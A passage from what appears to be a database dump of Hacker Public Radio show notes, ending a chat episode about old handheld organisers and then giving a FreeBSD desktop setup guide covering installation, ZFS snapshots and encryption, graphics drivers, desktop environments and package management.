<em>Click and Collect</em>.</li>\n<li>Dave has lost weight so some of his clothes are too big. MrX has trouble finding smaller sized clothes when shopping.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old technology:\n<ul>\n<li>MrX recently found a box in his wardrobe with six <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organisers</a> in it, in various states of disrepair. From these a functioning organiser was made, which is in regular use.</li>\n<li>MrX used to have a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion Series 3a</a> but the hinge failed.</li>\n<li>Dave had a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5mx</a> for a time, as did MrsX. Dave’s failed either because of a screen fault or a failure of the ribbon cable connecting to the screen.</li>\n<li>The Series 3c, and the later 3mx, have an Easter Egg available through a particular key sequence. This is a rendition of the anthem “Jerusalem”, and is included at the end of this episode (and is responsible for the show title).</li>\n<li>Dave had had a <a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a> at work in the early days of organisers, but it was not particularly useful.</li>\n<li>MrX had an <a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a>. He describes it as: <em>a dreadful machine running DOS 2.11<br />\nIt regularly crashed, losing all its memory. I decided to ditch it after having to type out my contacts list every time it crashed.</em></li>\n<li>MrX also had a <a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a>, an <em>Internet Tablet</em> running Linux.</li>\n<li>Dave couldn’t quite remember at the time of recording, but he bought a used <a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a> on eBay, which was the predecessor of the N810. This was also a Linux-based system, but it didn’t last more than a couple of weeks sadly.</li>\n<li>Both bought - and still have - the <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a>. Dave’s is the 1005HA model.\n<ul>\n<li>MrX still uses his from time to time</li>\n<li>Dave is thinking about installing a BSD flavour on his, but doesn’t use it often. It currently has <em>CrunchBang</em> installed.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>:\n<ul>\n<li>Dave runs it on his desktop (and laptop) as well as two phones. The phones run KDE Connect and are configured to tell the desktop when a message arrives!</li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR New Year show:\n<ul>\n<li><em>HonkeyMagoo</em> (of the <a href=\"https://linuxlugcast.com/index.php/category/podcast/\">Linux LUGCast podcast</a>) does a lot of the work with the recording in conjunction with Ken. He divides up the audio into shows, and in past years has prepared show notes.</li>\n<li>This year a LUGCast listener <em>HPLovecraft</em> did the notes, and they are very good!</li>\n</ul></li>\n</ul>\n<h2 id=\"postscript\">Postscript</h2>\n<p>MrX found the <em>Easter Egg</em>, mentioned during our chat, on his Psion Series 3C, recorded it via Audacity, and sent me the resulting <em>Easter Ogg</em>! It has been appended to the main recording.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Various Wikipedia links:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stock Bridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees on the coast of Cumbria, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\">Harling wall covering (aka rough-cast)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh, a traditional Scottish social gathering</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Book:\n<ul>\n<li><a href=\"https://www.wiley.com/en-gb/How+the+Immune+System+Works,+6th+Edition-p-9781119542124\">How the Immune System Works, Lauren Sompayrac, ISBN 9781119542124</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/2022/08/10/the-strangest-feeling/\">Item mentioned in the blog</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Organisers (all Wikipedia links):\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion 3a Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Instant Messaging:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>\n<ul>\n<li>Owned by a Russian billionaire.</li>\n</ul></li>\n</ul></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>Donkey Lane is a public right of way, possibly since the 1700’s. It starts as a pedestrian-only pathway then turns into a narrow tarmac-covered roadway with a pedestrian-only railway crossing.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,0,1,'CC-BY-SA','chat, old technology, organiser',0,0,1),
(3705,'2022-10-14','The Year of the FreeBSD Desktop',4155,'I talk about configuring FreeBSD as a desktop OS and give tips for those coming from Linux','<h1 id=\"getting-an-installer\">Getting an installer</h1>\n<p><a href=\"https://www.freebsd.org/where/\">Link to FreeBSD downloads</a></p>\n<p>Choose the correct arch for your system. amd64 is probably the one you want if you know nothing about computer architectures.</p>\n<p>you will have a lot of options:</p>\n<ul>\n<li>*-bootonly.iso is a netinstall image that is for burning to a CD</li>\n<li>*-disc1.iso is a supplementary CD image for *-bootonly.iso</li>\n<li>*-dvd1.iso is a complete DVD image with extra packages</li>\n<li>*-memstick.img is a complete image for burning to a USB stick</li>\n<li>*-mini-memstick.img is a netinstall image for burning to a USB stick</li>\n</ul>\n<p>I typically download and use one of the compressed memstick images. The mini image is fine but you probably want the regular memstick image if this is the first time you\'ve ever installed FreeBSD. It alleviates some of the stress that comes with installing wireless drivers.</p>\n<p>To burn a memstick image, use the <code>disk destroyer</code> program:</p>\n<pre class=\"sh\"><code>root@fbsd# xunz FreeBSD-13.1-RELEASE-amd64-memestick.img.xz\nroot@fbsd# sudo dd if=./FreeBSD-13.1-RELEASE-amd64-memestick.img of=/dev/sdx status=progress\nroot@fbsd# sudo eject /dev/sdx\n</code></pre>\n<hr />\n<h1 id=\"initial-installation\">Initial installation</h1>\n<h2 id=\"pre-installation\">pre-installation</h2>\n<p>The standard steps for installing Linux apply:</p>\n<ol>\n<li>disable secure boot</li>\n<li>enable USB booting</li>\n<li>select boot device at startup time</li>\n</ol>\n<p>Because this is hardware specific, it\'s a homework assignment for the audience.</p>\n<h2 id=\"installation\">Installation</h2>\n<p>FreeBSD has a menu driven installer that walks the user through various steps:</p>\n<h3 id=\"1-set-keymap-leave-default-if-you-dont-know\">1. set keymap (leave default if you don\'t know)</h3>\n<h3 id=\"2-set-hostname\">2. set hostname</h3>\n<h3 id=\"3-select-sets\">3. select sets</h3>\n<p>There are many sets to choose from. New users probably want to install all of them. I typically only install the <code>lib32</code> set and add the rest later.</p>\n<h3 id=\"4-partitioning\">4. Partitioning</h3>\n<p><code>bsdinstall</code> makes it easy to partition your drives. The <code>Auto(ZFS)</code> option is probably what you want as the default UFS configuration is unjournaled.</p>\n<p>In the <code>Auto(ZFS)</code> menu, for a single hard drive installation, you want to stripe one disk. Select your hard drive.</p>\n<p>If you want full disk encryption, select the <code>Encrypt Disks</code> option.</p>\n<p>You also want to bump up the swap size to <code>ram*1.5</code> as a general rule (so, for 4g of ram you will set 6g of swap, for 8g or ram you set 12g swap). If you selected <code>Encrypt Disks</code>, you should also select <code>Encrypt Swap</code></p>\n<p>When you are done, proceed with the installation. You will gt a confirmation message asking if you want to destroy the disk(s) you selected. This is your last chance to go back.</p>\n<p>If you selected <code>Encrypt Disks</code>, you will be presented with a password prompt. This is the disk encryption password, not any user password.</p>\n<h3 id=\"5-wait-for-sets-to-install\">5. Wait for sets to install</h3>\n<h3 id=\"6-configure-root-user\">6. Configure root user</h3>\n<p>After the sets are installed, you will set a root password.</p>\n<h3 id=\"7-network-config\">7. Network Config</h3>\n<p>If your wireless card is supported, all the hard parts are already done for you. If your wireless card is not supported, you might need to plug in an ethernet cable and compile the drivers into the kernel.</p>\n<p>Select your card (<code>em*</code> is ethernet, wifi cards are named after their drivers)</p>\n<p>If you choose wifi, the installer will scan for networks and give you a menu to select one. If the network is encrypted, you will be presented with a password prompt.</p>\n<h3 id=\"8-time-and-date-setup\">8. Time and date setup</h3>\n<h3 id=\"9-service-setup\">9. Service setup</h3>\n<p>You will be presented with a menu that enables/disables services on system startup. You probably want all of them except <code>local_unbound</code>.</p>\n<h3 id=\"10-security-config\">10. Security config</h3>\n<p>The next menu enables/disables security features. If nothing else, select <code>disable_sendmail</code> and <code>clear_tmp</code></p>\n<h3 id=\"11-add-users\">11. Add users</h3>\n<p>Simply add your user. You might want to add him to the wheel group if you plan on using sudo. I set my shell to tcsh but you can always change this later. A</p>\n<h3 id=\"12-final-configuration\">12. Final configuration</h3>\n<p>You may want to install the handbook or modify any configurations you\'ve made so far. This will take some time. When you are done, apply the config and exit.</p>\n<h3 id=\"13-manual-config\">13. Manual config</h3>\n<p>Before you reboot the system and exit the installer, you are given a last opportunity to make any manual configurations. This is rarely needed for the average desktop user.</p>\n<h2 id=\"post-installation\">Post installation</h2>\n<blockquote>\n<p>What, no GUI?</p>\n</blockquote>\n<h3 id=\"update-system\">Update system</h3>\n<p>Login as root and update the system:</p>\n<pre class=\"sh\"><code>root@fbsd# freebsd-update fetch\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h3 id=\"installing-packages\">Installing packages</h3>\n<p>Before we begin modifying the system, we need a better editor.</p>\n<p>The <code>pkg</code> utility is used in a nearly identical way to any Linux package manager. The syntax <code>pkg $verb $object</code> persists. Verbs include <code>install</code>, <code>remove</code>, <code>update</code>, <code>upgrade</code>, <code>search</code>, etc.</p>\n<p>Because the only editors installed by default are <code>vi</code>, <code>ed</code>, and <code>ee</code>, let\'s install vim.</p>\n<p>There are multiple vim flavors, I like vim-tiny.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg bootstrap\nroot@fbsd# pkg update\nroot@fbsd# pkg search vim\nroot@fbsd# pkg install vim-tiny\n</code></pre>\n<p>We probably want sudo (or doas) also:</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install sudo\nroot@fbsd# visudo\n</code></pre>\n<p>Find the line that says:</p>\n<pre class=\"sh\"><code># %wheel ALL=(ALL:ALL) ALL\n</code></pre>\n<p>and move the <code># </code> from the beginning of the line to enable the wheel group to do actions as root.</p>\n<h3 id=\"bootloader-tweaks\">Bootloader tweaks</h3>\n<p>We can tweak the bootloader to make the system more desktop-like. Edit <code>/boot/loader.conf</code></p>\n<pre class=\"sh\"><code># /boot/loader.conf\n# -----------------\n[ lots of default stuff ]\n\n# custom stuff\n\n# boot faster\nautoboot_delay=2\n</code></pre>\n<p>Refer to <code>loader.conf(5)</code> for more tweaks and <code>/boot/defaults/loader.conf</code> for examples.</p>\n<h3 id=\"init-tweaks\">init tweaks</h3>\n<p>We can tweak the init system also. Edit <code>/etc/rc.conf</code></p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of default stuff ]\n\n# enable graphics\nkld_list=&quot;i915kms&quot;\n\n# faster booting\nbackground_dhclient=&quot;YES&quot;\n</code></pre>\n<p>See <code>rc.conf(5)</code> and <code>/etc/defaults/rc.conf</code> for more information on what you can do.</p>\n<h3 id=\"snapshotting-a-sane-fresh-installation\">Snapshotting a sane fresh installation</h3>\n<p>At this point, it is wise to take a recursive snapshot of your FreeBSD installation. This provides us with an easy way to roll back to a fresh, known working system configuration.</p>\n<pre class=\"sh\"><code>root@fbsd# zfs snapshot -r zroot@freshinstall\nroot@fbsd# zfs list - tsnapshot\n</code></pre>\n<p>If the system becomes unrepairable, we can simply rollback instead of reinstalling with a simple command:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs rollback -r zroot@freshinstall\n</code></pre>\n<p>To rollback every dataset, we can use xargs:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs list -t snapshot | grep freshinstall | cut -d &#39; &#39; -f 1 | xargs -I % zfs rollback %\n</code></pre>\n<p>Using zfs snapshots before and after making any potentially dangerous configuration changes saves a lot of headache in the long run because zfs is accessible from the recovery shell. Rollback with caution, user data may be lost.</p>\n<p>Homework assignment: write a series of cron jobs that automatically takes snapshots (and cleans up the old ones) of user data as a form of <em>last line of defense version control</em></p>\n<hr />\n<h1 id=\"graphical-user-interfaces\">Graphical user interfaces</h1>\n<h2 id=\"install-graphics-drivers\">Install graphics drivers</h2>\n<p>This varies depending on your GPU.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install drm-kmod\n</code></pre>\n<p>After installing this package, you will see a message on how to enable the driver for your specific hardware:</p>\n<pre class=\"sh\"><code>For amdgpu: kld_list=&quot;amdgpu&quot;\nFor Intel: kld_list=&quot;i915kms&quot;\nFor radeonkms: kld_list=&quot;radeonkms&quot;\n</code></pre>\n<p>To enable one of these, you will need to add a line to your <code>/etc/rc.conf</code>. The earlier you place this line in the file, the sooner the kmods will load. For intel graphics, for example, you will add the following line:</p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of other stuff ]\n\n# intel graphics drivers\nkld_list=&quot;i915kms&quot;\n</code></pre>\n<p>To load the kmod on the fly (for larger resolution vt), run:</p>\n<pre class=\"sh\"><code>root@fbsd# kldload i915kms\n</code></pre>\n<p>You will also need to add your non-root user to the <code>video</code> group.</p>\n<pre class=\"sh\"><code>root@fbsd# pw groupmod video -m $user\n</code></pre>\n<h2 id=\"audio\">Audio</h2>\n<p>(hopefully) audio will just work. Supported audio interfaces are enumerated in <code>man snd(4)</code> and details on enabling/disabling drivers in <code>/boot/lodaer.conf</code> are also explained.</p>\n<p>To manage volume, use the <code>mixer</code> command. For example, setting the mic volume to 50% and the speaker volume to 95%:</p>\n<pre class=\"sh\"><code>user@fbsd% mixer mic 50:50\nuser@fbsd% mixer vol 95:95\n</code></pre>\n<p>The <code>mixertui</code> command can also be used. This program functions similarly to <code>alsamixer</code> on Linux.</p>\n<p>Depending on your hardware, the volume keys on your keyboard might not work. Adding a keybinding to a shell script is the usual solution and should be familiar to anyone who uses a desktop free window manager.</p>\n<h2 id=\"getting-xorg\">Getting xorg</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg install xorg\n</code></pre>\n<p>The <code>twm</code> window manager is included with xorg by default. We can use it for testing our xorg configuration, mouse support, etc before continuing with larger desktop environments. Early troubleshooting always prevents foot shooting. Test early, test often.</p>\n<pre class=\"sh\"><code>root@fbsd# startx\n</code></pre>\n<h2 id=\"desktop-environments\">Desktop Environments</h2>\n<p>Refer to <a href=\"https://docs.freebsd.org/en/books/handbook/x11/#x11-wm\">The handbook\'s instructions on desktops</a> for instructions on non-suckless (ie suck<em>more</em> setups). I have tested some of them on FreeBSD. KDE and Xfce are reliable. GNOME is mostly reliable. If you are running a big DE, you might have to modify polkit rules to do things like reboot the system from the GUI. Many larger desktops rely on FreeDesktop.org components. I personally do not like dbus so instead I use the suckless tools.</p>\n<p>But, for the sake of completeness, I will install a few for the masses. I installed each one of these independently and sequentially on the same system using zfs snapshots to roll back to a bare bones system without any DE installed.</p>\n<h3 id=\"gnome\">GNOME</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install gnome\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc gdm_enable=&quot;YES&quot;\nroot@fbsd# sysrc gnome_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/gnome-on-freebsd.png\"><img src=\"eps/hpr3705/gnome-on-freebsd_thumbnail.png\" alt=\"Gnome screenshot on FreeBSD\" /></a></p>\n<h3 id=\"kde\">KDE</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install kde5 sddm\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc sddm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/kde-on-freebsd.png\"><img src=\"eps/hpr3705/kde-on-freebsd_thumbnail.png\" alt=\"KDE screenshot on FreeBSD\" /></a></p>\n<h3 id=\"xfce\">Xfce</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install xfce xfce4-goodies\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\n</code></pre>\n<p>Xfce does not provide it\'s own login manager, unlike GNOME or KDE. Let\'s pick lightdm because it\'s small and the graphical toolkit matches Xfce.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install lightdm-gtk-greeter\nroot@fbsd# sysrc lightdm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n\n</code></pre>\n<p><a href=\"eps/hpr3705/xfce-on-freebsd.png\"><img src=\"eps/hpr3705/xfce-on-freebsd_thumbnail.png\" alt=\"Xfce screenshot on FreeBSD\" /></a></p>\n<h3 id=\"suckless\">Suckless</h3>\n<p><a href=\"https://suckless.org\">suckless: tools that suck less.</a></p>\n<p>This is how I use FreeBSD (and how I use most computers). I wrote a makefile that modifies the compile options so that the tools will build on FreeBSD and (optionally) adds the theme I use. <a href=\"https://gitlab.com/binrc/suckless\">You can find my suckless duct tape in this git repo</a>.</p>\n<p>I also use xdm because it\'s small and fast.</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install xdm\nuser@fbsd% sudo service xdm enable\n</code></pre>\n<p><a href=\"eps/hpr3705/suckless-on-freebsd.png\"><img src=\"eps/hpr3705/suckless-on-freebsd_thumbnail.png\" alt=\"Suckless screenshot on FreeBSD\" /></a></p>\n<h3 id=\"a-final-note-on-desktops\">A final note on desktops</h3>\n<p>Sometimes desktops behave unexpectedly on FreeBSD (ie users cannot manage power settings, reboot the system, etc). Make sure your login user is in the wheel group (it\'s your computer, you probably are already in the wheel group) and most of the issues will be resolved. For users you don\'t want in the wheel group, you\'ll need to write a few <code>polkit</code> rules.</p>\n<p>Additionally, big desktops are typically compiled without the graphical components for modifying network connections.</p>\n<p>Similar to Arch or Gentoo, there is a bit of legwork left to the end user. You\'ll never know what you might learn about systems administration if you don\'t wilfully give yourself the opportunity.</p>\n<h2 id=\"shell-tweaks\">Shell tweaks</h2>\n<p>I like colors in the shell for systems I use regularly. I also like aliases. We can modify our csh configuration file to automatically do the fancy for us.</p>\n<pre class=\"sh\"><code># ~/.cshrc\n# -----------------\n[ lots of stuff ]\n\n# prompt section\nif ($?prompt) then\n    # An interactive shell -- set some stuff up\n    #set prompt = &quot;%N@%m:%~ %# &quot;\n    #set prompt = &quot;%{\\033[31m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set prompt = &quot;%{\\033[1m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set promptchars = &quot;%#&quot;\n\n    set filec\n    set history = 1000\n    set savehist = (1000 merge)\n    set autolist = ambiguous\n    # Use history to aid expansion\n    set autoexpand\n    set autorehash\n    set mail = (/var/mail/$USER)\n\n    if ( $?tcsh ) then\n        bindkey &quot;^W&quot; backward-delete-word\n        bindkey -k up history-search-backward\n        bindkey -k down history-search-forwarrd\n        bindkey &quot;^R&quot; i-search-back\n    endif\nendif\n\n# alias section\nalias la    ls -aF\nalias lf    ls -FA\nalias ll    ls -lAF\nalias ls    ls -GF\nalias lc    ls -GF\n</code></pre>\n<h2 id=\"some-other-packages\">Some other packages</h2>\n<p>The things I like:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install firefox gimp feh mpv ffmpeg ImageMagick7 mutt newsboat\n</code></pre>\n<p>If you install a large DE, most of the applications are pulled in as well. If not, you can always use xargs to pull in hundreds of gigabytes of programs:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg search $desktop | cut -d &#39; &#39; -f 1 | xargs sudo pkg install -y\n</code></pre>\n<p>Going GNU:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install coreutils emacs bash gcc gmake\n</code></pre>\n<p>Do a few package searches. What you want is probably there. If not, time to start porting :)</p>\n<p>Once you have everything configured how you want it, it\'s a good time to take another zfs snapshot.</p>\n<hr />\n<h1 id=\"quickstart\">Quickstart</h1>\n<h2 id=\"init-system\">Init system</h2>\n<p>Instead of systemd, FreeBSD uses rc scripts for starting and stopping services. Everything is pretty much shell scripts. To modify the startup process, you simply edit <code>/etc/rc.conf</code> in a text editor.</p>\n<p>For <code>systemctl</code> like starting/stopping/enabling, you can do the following:</p>\n<pre class=\"sh\"><code>root@fbsd# service sshd enable\nroot@fbsd# service sshd start\nroot@fbsd# service sshd restart\nroot@fbsd# service sshd stop\nroot@fbsd# service sshd disable\nroot@fbsd# service sshd onestart\nroot@fbsd# service sshd status\n</code></pre>\n<p>Each service has it\'s own init file so sometimes a specific service might take different arguments than the standard ones you might expect.</p>\n<h2 id=\"networking\">Networking</h2>\n<p>Network interfaces are configured classically using <code>ifconfig(8)</code>. If you want a network interface to persist across reboots, you add the information in <code>/etc/rc.conf</code>.</p>\n<p>WiFi is managed with <code>wpa_supplicant</code>. Refer to <code>man wpa_supplicant.conf(8)</code> for more information.</p>\n<h2 id=\"firewall\">Firewall</h2>\n<p><a href=\"https://docs.freebsd.org/en/books/handbook/firewalls/#firewalls-pf\">use the pf firewall, I like it</a></p>\n<h2 id=\"general-upgrade-process\">General upgrade process</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update upgrade -r 13.1-RELEASE\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\nroot@fbsd# freebsd-update install\nroot@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h2 id=\"shells\">Shells</h2>\n<p>FreeBSD uses <code>tcsh(1)</code> as the default shell and includes <code>sh(1)</code> for bourne-like compatibility. You can install bash if you want.</p>\n<h2 id=\"package-management\">Package management</h2>\n<p>There are two primary ways of managing software: binary packages and ports. Don\'t mix them if you don\'t know what you\'re doing, it can cause problems.</p>\n<p>To be brief: ports are like Gentoo. You spend a lot of time watching compiler output. The following programs help: <code>synth</code>, <code>portmaster</code>, <code>poudriere</code>.</p>\n<p>to be verbose: here is a quick guide on using the binary package management system:</p>\n<pre class=\"sh\"><code>pkg update\npkg upgrade\npkg search foobar\npkg install foobar\npkg remove foobar\npkg autoremove\n</code></pre>\n<p>As you can see, the syntax is nearly identical to dnf or apt.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<p>The hierarchy of FreeBSD is slightly different than a typical Linux system. Refer to <code>man hier(7)</code> for more information.</p>\n<p>The biggest difference is that FreeBSD a logically organized system. For example: On Linux, everything seems to end up in <code>/bin</code> (which is a symlink to <code>/usr/bin</code>). Additionally, <code>/sbin</code> is just a symlink to <code>/usr/sbin</code>. On FreeBSD, the system is more organized. For example:</p>\n<p><code>/bin</code> contains everything required to boot the system and <code>/sbin</code> contains everything required for fundamental administration.</p>\n<p><code>/usr/bin</code> contains most everything else</p>\n<p><code>/usr/local</code> contains everything installed by the package management system.</p>\n<p>User installed programs are configured in <code>/usr/local/etc</code>. This might be confusing at first but you\'ll get the hang of it.</p>\n<p>This logical separation might cause confusion when compiling software from source on FreeBSD but it\'s not too difficult to solve if you already know how about linker options and makefile modification.</p>\n<p>As for filesystems, apparently ext2, ext3, and ext4 have read/write support using the <code>ext2fs(5)</code> driver. I probably wouldn\'t boot from them but this exists. UFS is not journaled by default, proceed with caution. ZFS is very good.</p>\n<h2 id=\"zfs-non-starter\">ZFS non-starter</h2>\n<p>ZFS is cool because we can create partitions on a whim. Here is some shell output demonstrating listing datasets, creating datasets with a quota, destroying datasets, creating and using encrypted datasets, etc.</p>\n<pre class=\"sh\"><code>root@freebsd:/ #\nroot@freebsd:/ # zfs list\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot                                      3.97G   434G       96K  /zroot\nzroot/ROOT                                 3.82G   434G       96K  none\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644     8K   434G     1.07G  /\nzroot/ROOT/default                         3.82G   434G     3.71G  /\nzroot/tmp                                   208K   434G      112K  /tmp\nzroot/usr                                   157M   434G       96K  /usr\nzroot/usr/home                              157M   434G      157M  /usr/home\nzroot/usr/ports                              96K   434G       96K  /usr/ports\nzroot/usr/src                                96K   434G       96K  /usr/src\nzroot/var                                  1.04M   434G       96K  /var\nzroot/var/audit                              96K   434G       96K  /var/audit\nzroot/var/crash                              96K   434G       96K  /var/crash\nzroot/var/log                               424K   434G      300K  /var/log\nzroot/var/mail                              192K   434G      128K  /var/mail\nzroot/var/tmp                               160K   434G       96K  /var/tmp\nroot@freebsd:/ # zfs list -t snapshot\nNAME                                                     USED  AVAIL     REFER  MOUNTPOINT\nzroot@freshinstall                                        64K      -       96K  -\nzroot/ROOT@freshinstall                                    0B      -       96K  -\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644@freshinstall     0B      -     1.07G  -\nzroot/ROOT/default@2022-09-18-14:36:44-0                76.7M      -     1.07G  -\nzroot/ROOT/default@freshinstall                         35.0M      -     1.21G  -\nzroot/tmp@freshinstall                                    96K      -      112K  -\nzroot/usr@freshinstall                                     0B      -       96K  -\nzroot/usr/home@freshinstall                               96K      -      128K  -\nzroot/usr/ports@freshinstall                               0B      -       96K  -\nzroot/usr/src@freshinstall                                 0B      -       96K  -\nzroot/var@freshinstall                                     0B      -       96K  -\nzroot/var/audit@freshinstall                               0B      -       96K  -\nzroot/var/crash@freshinstall                               0B      -       96K  -\nzroot/var/log@freshinstall                               124K      -      188K  -\nzroot/var/mail@freshinstall                               64K      -       96K  -\nzroot/var/tmp@freshinstall                                64K      -       96K  -\nroot@freebsd:/ # zfs create zroot/crypt\nroot@freebsd:/ # zfs set quota=5g zroot/crypt\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                  96K  5.00G       96K  /zroot/crypt\nroot@freebsd:/ # zfs destroy zroot/crypt\nroot@freebsd:/ # zfs create -o encryption=on -o keylocation=prompt -o keyformat=passphrase zroot/crypt\nEnter new passphrase:\nRe-enter new passphrase:\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                 200K   434G      200K  /zroot/crypt\nroot@freebsd:/ # touch /zroot/crypt/supersecret\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\nroot@freebsd:/ # zfs get encryption zroot/crypt\nNAME         PROPERTY    VALUE        SOURCE\nzroot/crypt  encryption  aes-256-gcm  -\nroot@freebsd:/ # zfs unmount zroot/crypt\nroot@freebsd:/ # zfs unload-key -r zroot/crypt\n1 / 1 key(s) successfully unloaded\nroot@freebsd:/ # zfs mount zroot/crypt\ncannot mount &#39;zroot/crypt&#39;: encryption key not loaded\nroot@freebsd:/ # zfs get keystats zroot/crypt\nroot@freebsd:/ # zfs get keystatus zroot/crypt\nNAME         PROPERTY   VALUE        SOURCE\nzroot/crypt  keystatus  unavailable  -\nroot@freebsd:/ # zfs load-key -r zroot/crypt\nEnter passphrase for &#39;zroot/crypt&#39;:\nzfs 1 / 1 key(s) successfully loaded\nroot@freebsd:/ # zfs mount -a\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\n</code></pre>\n<hr />\n<h1 id=\"a-conclusion\">A conclusion</h1>\n<p>Really, I think FreeBSD is a viable desktop operating system for the types of people who already use Linux in a terminal-centric capacity. After all, UNIX is UNIX.</p>\n<hr />\n<h1 id=\"other-stuff\">Other stuff</h1>\n<p><a href=\"https://wiki.freebsd.org/JailingGUIApplications\">Running Firefox inside of a jail</a></p>\n<p><a href=\"https://forums.freebsd.org/threads/how-to-execute-firefox-in-a-jail-using-iocage-and-ssh-jailme.53362/\">Another way to run Firefox inside of a jail</a></p>\n<h2 id=\"freebsd-distros-that-come-with-a-desktop-out-of-the-box\">FreeBSD Distros that come with a desktop out of the box:</h2>\n<p><a href=\"https://www.ghostbsd.org\">GhostBSD - FreeBSD with MATE</a></p>\n<p><a href=\"https://hellosystem.github.io\">HelloSystem - FreeBSD with an Apple-like GUI (still in development)</a></p>\n<p><a href=\"https://www.midnightbsd.org\">MidnightBSD - FreeBSD with Xfce and a different package management system</a></p>\n<p><a 